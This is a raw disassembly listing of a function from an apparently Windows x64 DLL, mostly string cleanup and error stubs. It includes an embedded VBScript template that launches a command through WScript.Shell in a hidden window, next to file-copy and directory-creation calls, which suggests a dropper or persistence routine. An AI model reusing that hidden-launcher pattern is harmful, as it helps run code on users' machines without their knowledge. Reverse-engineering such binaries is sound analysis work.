movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x70], xmm0
mov qword [rax + 0x80], rcx
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x248], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0xa0], r15
lea rax, [rsp + 0x2d0]
mov rdx, qword [rsp + 0x2d0]
cmp qword [rsp + 0x2e8], 7
cmova rax, rdx
mov qword [rsp + 0x240], rax
mov r8, qword [rsp + 0x2e0]
mov qword [rsp + 0x248], r8
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0xa8], r12
lea rax, [rsp + 0x2d0]
cmova rax, rdx
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x248], r8
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x148], xmm0
movabs rax, 0xc000000000000020
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x2d0]
cmova rax, rdx
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x248], r8
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x158], xmm0
movabs rax, 0xc000000000000030
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], Ordinal_65
lea rcx, [rsp + 0x2d0]
call fcn.180006730
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x248], r8
lea r9, [rsp + 0x240]
mov edx, 4
lea rcx, [rsp + 0xa0]
call fcn.1800511b0
lea r8, [rsp + 0x2d0]
mov edx, 5
lea rcx, [rsp + 0xa0]
call fcn.1800510a0
lea r8, [rsp + 0x2d0]
mov edx, 6
lea rcx, [rsp + 0xa0]
call fcn.1800510a0
lea r8, [rsp + 0x370]
mov edx, 7
lea rcx, [rsp + 0xa0]
call fcn.1800510a0
lea r8, [rsp + 0x2d0]
mov edx, 8
lea rcx, [rsp + 0xa0]
call fcn.1800510a0
lea r8, [rsp + 0x2d0]
mov edx, 9
lea rcx, [rsp + 0xa0]
call fcn.1800510a0
lea r8, [rsp + 0x370]
mov edx, 0xa
lea rcx, [rsp + 0xa0]
call fcn.1800510a0
lea r8, [rsp + 0x2d0]
mov edx, Ordinal_15
lea rcx, [rsp + 0xa0]
call fcn.1800510a0
lea r8, [rsp + 0x2d0]
mov edx, Ordinal_15
lea rcx, [rsp + 0xa0]
call fcn.1800510a0
lea r8, [rsp + 0x2d0]
mov edx, Ordinal_15
lea rcx, [rsp + 0xa0]
call fcn.1800510a0
lea r8, [rsp + 0x2d0]
mov edx, reloc.LIBPQ.dll_Ordinal_14
lea rcx, [rsp + 0xa0]
call fcn.1800510a0
lea r8, [rsp + 0x2d0]
mov edx, reloc.LIBPQ.dll_Ordinal_15
lea rcx, [rsp + 0xa0]
call fcn.1800510a0
lea r8, [rsp + 0x2d0]
mov edx, Ordinal_20
lea rcx, [rsp + 0xa0]
call fcn.1800510a0
nop
mov qword [rsp + 0x240], Ordinal_26
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x248], rax
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x410]
call fcn.18000d570
nop
lea rcx, [rsp + 0x60]
call fcn.180006740
nop
lea rcx, [rsp + 0x40]
call fcn.180006740
nop
lea rcx, [rsp + 0x80]
call fcn.180006740
lea rax, str.Set_WshShell__CreateObject__WScript.Shell___r_nWshShell.Run_Chr_34_______Chr_34___0_r_nSet_WshShell__Nothing
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x248], Ordinal_113
lea r8, [rsp + 0x2a0]
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x3f0]
call fcn.1800287c0
nop
lea rcx, [rsp + 0x650]
call fcn.180025150
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x650]
call fcn.1800264b0
nop
cmp qword [rsp + 0x6d8], 0
je 0x18004e0ce
lea rcx, [rsp + 0x410]
call fcn.180006730
mov r8, qword [rsp + 0x420]
mov rdx, rax
lea rcx, [rsp + 0x650]
call fcn.180026670
lea rcx, [rsp + 0x650]
call fcn.180026410
lea rdx, [rsp + 0x310]
call fcn.18004e6e0
lea rcx, [rsp + 0x540]
call fcn.180025150
lea rdx, [rsp + 0x3b0]
lea rcx, [rsp + 0x540]
call fcn.1800264b0
nop
cmp qword [rsp + 0x5c8], 0
je 0x18004e12e
lea rcx, [rsp + 0x3f0]
call fcn.180006730
mov r8, qword [rsp + 0x400]
mov rdx, rax
lea rcx, [rsp + 0x540]
call fcn.180026670
lea rcx, [rsp + 0x540]
call fcn.180026410
lea r8, [rsp + 0x3b0]
mov rdx, rsi
mov rcx, r14
call fcn.18004ff40
lea rcx, [rsp + 0x430]
call fcn.180025150
lea rdx, [rsp + 0x3d0]
lea rcx, [rsp + 0x430]
call fcn.1800264b0
nop
cmp qword [rsp + 0x4b8], 0
je 0x18004e1a0
lea rcx, [r14 + 0x80]
call fcn.180006730
mov r8, qword [r14 + 0x90]
mov rdx, rax
lea rcx, [rsp + 0x430]
call fcn.180026670
lea rcx, [rsp + 0x430]
call fcn.180026410
nop
lea rcx, [rsp + 0x430]
call fcn.1800250b0
nop
lea rcx, [rsp + 0x540]
call fcn.1800250b0
nop
lea rcx, [rsp + 0x650]
call fcn.1800250b0
nop
lea rcx, [rsp + 0x3f0]
call fcn.180006740
nop
lea rcx, [rsp + 0x410]
call fcn.180006740
nop
lea rcx, [rsp + 0x2d0]
call fcn.180006740
nop
lea rcx, [rsp + 0x2a0]
call fcn.180006740
nop
mov rdx, qword [rsp + 0x388]
cmp rdx, 7
jbe 0x18004e24a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004e245
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e69b
call fcn.180085240
movdqu xmmword [rsp + 0x380], xmm6
mov word [rsp + 0x370], bx
mov rdx, qword [rsp + 0x368]
cmp rdx, 7
jbe 0x18004e2a3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004e29e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e6a1
call fcn.180085240
movdqu xmmword [rsp + 0x360], xmm6
mov word [rsp + 0x350], bx
mov rdx, qword [rsp + 0x3a8]
cmp rdx, 7
jbe 0x18004e2fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004e2f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e6a7
call fcn.180085240
nop
jmp 0x18004e309
mov rdx, qword [rsp + 0x348]
cmp rdx, 7
jbe 0x18004e351
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004e34c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e6ad
call fcn.180085240
mov qword [rsp + 0x340], rbx
mov qword [rsp + 0x348], 7
mov word [rsp + 0x330], bx
mov rdx, qword [rsp + 0x3e8]
cmp rdx, 7
jbe 0x18004e3b5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004e3b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e6b3
call fcn.180085240
movdqu xmmword [rsp + 0x3e0], xmm6
mov word [rsp + 0x3d0], bx
mov rdx, qword [rsp + 0x3c8]
cmp rdx, 7
jbe 0x18004e40e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004e409
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e6b9
call fcn.180085240
movdqu xmmword [rsp + 0x3c0], xmm6
mov word [rsp + 0x3b0], bx
mov rdx, qword [rsp + 0x328]
cmp rdx, 7
jbe 0x18004e467
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004e462
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e6bf
call fcn.180085240
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], 7
mov word [rsp + 0x310], bx
mov rdx, qword [rsp + 0x308]
cmp rdx, 7
jbe 0x18004e4cb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004e4c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e6c5
call fcn.180085240
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], 7
mov word [rsp + 0x2f0], bx
mov rdx, qword [rsp + 0x298]
cmp rdx, 7
jbe 0x18004e52f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004e52a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004e6cb
call fcn.180085240
mov qword [rsp + 0x290], rbx
mov qword [rsp + 0x298], 7
mov word [rsp + 0x280], bx
lea rcx, [rsp + 0x260]
call fcn.180006740
mov rcx, qword [rsp + 0x760]
xor rcx, rsp
call fcn.180085220
lea r11, [rsp + 0x780]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x240]
lea rcx, [0x1800f71e8]
call fcn.180021a70
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
int3
call fcn.18009a08c
nop
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x240]
lea rcx, [0x1800f71e8]
call fcn.180021a70
nop
call fcn.18009a08c
nop
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x240]
lea rcx, [0x1800f71e8]
call fcn.180021a70
nop
shr rdx, 0x20
lea r8, [rsp + 0x240]
lea rcx, str.create_directory
call fcn.18002d9b0
nop
call fcn.18009a08c
int3
call fcn.18009a08c
nop
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x240]
lea rcx, [0x1800f71e8]
call fcn.180021a70
nop
shr rdx, 0x20
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x240]
lea rcx, str.copy_file
call fcn.18004a4b0
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
nop
call fcn.18009a08c
int3